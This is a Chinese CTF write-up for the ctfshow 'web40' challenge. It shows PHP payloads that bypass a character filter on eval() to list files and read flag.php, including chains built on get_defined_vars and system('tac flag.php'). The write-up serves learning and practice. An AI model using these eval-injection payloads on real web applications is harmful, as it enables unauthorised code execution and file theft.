当前位置: 首页 > news >正文

ctfshow web40

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

方案一

1.先使用getcwd()函数查看当前工作目录

/?c=print_r(getcwd());

2.使用scandir()函数将工作目录以数组形式输出

?c=print_r(scandir(getcwd()));

发现有flag.php的目录

3.使用array_reverse()函数将数组翻转

?c=print_r(array_reverse(scandir(getcwd())));

4.使用next()函数将数组指针指向flag.php,再使用读取文件函数打印出flag.php的内容

读取文件内容:

  • file_get_contents()
  • readfile()
  • highlight_file()
  • show_source()

print_r(show_source(next(array_reverse(scandir(getcwd())))));

方案二

1.使用get_defined_vars()函数返回一个关联数组,包含所有当前作用域内已定义的变量,包括:

  • 用户定义的变量
  • 超全局变量(GET,G__ET,_POST 等)
  • 其他预定义变量

?c=print_r(get_defined_vars());

发现数组第一个变量c貌似就是我们输入的命令,但是这里是二维数组,并且我们要利用的恶意代码在二维数组的第一个,所以可以使用current()函数获取当前指针所对应的一维数组

/?c=print_r(current(get_defined_vars()));

但是这个GET数组里面貌似没有元素含有恶意代码(奇怪了,平时写其他无参数rce都有的),那么这里我们就可以自己写一个进去,

/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

特别提醒

必须先写出&1=system("tac flag.php");才能print_r(next(current(get_defined_vars())));,不然就会报以下错误

**<font style="color:rgb(0, 0, 0);">Notice</font>**<font style="color:rgb(0, 0, 0);">: Only variables should be passed by reference in </font>**<font style="color:rgb(0, 0, 0);">/var/www/html/index.php(17) : eval()'d code</font>**<font style="color:rgb(0, 0, 0);"> on line </font>**<font style="color:rgb(0, 0, 0);">1</font>**

/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

接下来直接执行上面恶意代码即可

/?c=eval(next(current(get_defined_vars())));&1=system("tac%20flag.php");

方案三

?c=print_r(scandir(current(localeconv())));

数组翻转再指针向前一次

?c=print_r(next(array_reverse(scandir(current(localeconv())))));

?c=show_source(print_r(next(array_reverse(scandir(current(localeconv()))))));
就可以得到flag了(什么,你说你想看flag,门都没有)

http://www.rkmt.cn/news/8071.html

相关文章:

  • C++ 左值、右值、左值引用、右值引用
  • 基数排序模板(Radix Sort)
  • ctfshow web32
  • [项目开发经验分享]基于强类型事件的类型参数传递问题 —— 在 .NET Winform项目中如何设计泛型事件总线以实现UI与核心层的解耦
  • 从Verizon数据泄露报告看企业安全防御的迫切变革
  • PointNetwork-求解TSP-05 - jack
  • Windows 11如何进入安全模式
  • 聊聊昨天CodeBuddy Meetup的一些收获与思考
  • 框架的诞生,本就是人类文明共同涌现的结晶,绝不是某个人的独自觉悟
  • MVC分层设计模式 2章
  • 【Python】cx_Freeze模块_打包exe
  • 墨者学院 某防火墙默认口令
  • IOC控制反转的解耦(相比于直接new对象的正向控制)
  • 墨者学院 浏览器信息伪造
  • AT_arc156_c [ARC156C] Tree and LCS
  • 实用指南:【SQLSERVER】SQL Server 表导出与导入
  • 封神台 第三章:为了更多的权限!留言板!
  • ECT-OS-JiuHuaShan框架元推理,是马克思主义与我思故我在的完美统一,是超越自我
  • vulnhub Beelzebub
  • 记一次内务培训
  • 不用手也能玩手机?多代理协作框架让 APP 自动执行任务
  • MATLAB实现单帧图像超分辨率重建
  • 详细介绍:认知语义学意象图式对人工智能自然语言处理中隐喻分析的影响与启示
  • 完整教程:LeetCode 刷题【81. 搜索旋转排序数组 II、82. 删除排序链表中的重复元素 II、83. 删除排序链表中的重复元素】
  • vue2 项目实例 Layout布局(二)
  • 故障处理:ORA-00600 2252故障处理
  • Android 平台 MAUI 应用更新服务
  • SQL脚本:查询指定SQL的统计信息(cursor,awr)
  • 本地(或自下载)浏览器插件 安装指南
  • 路由查看命令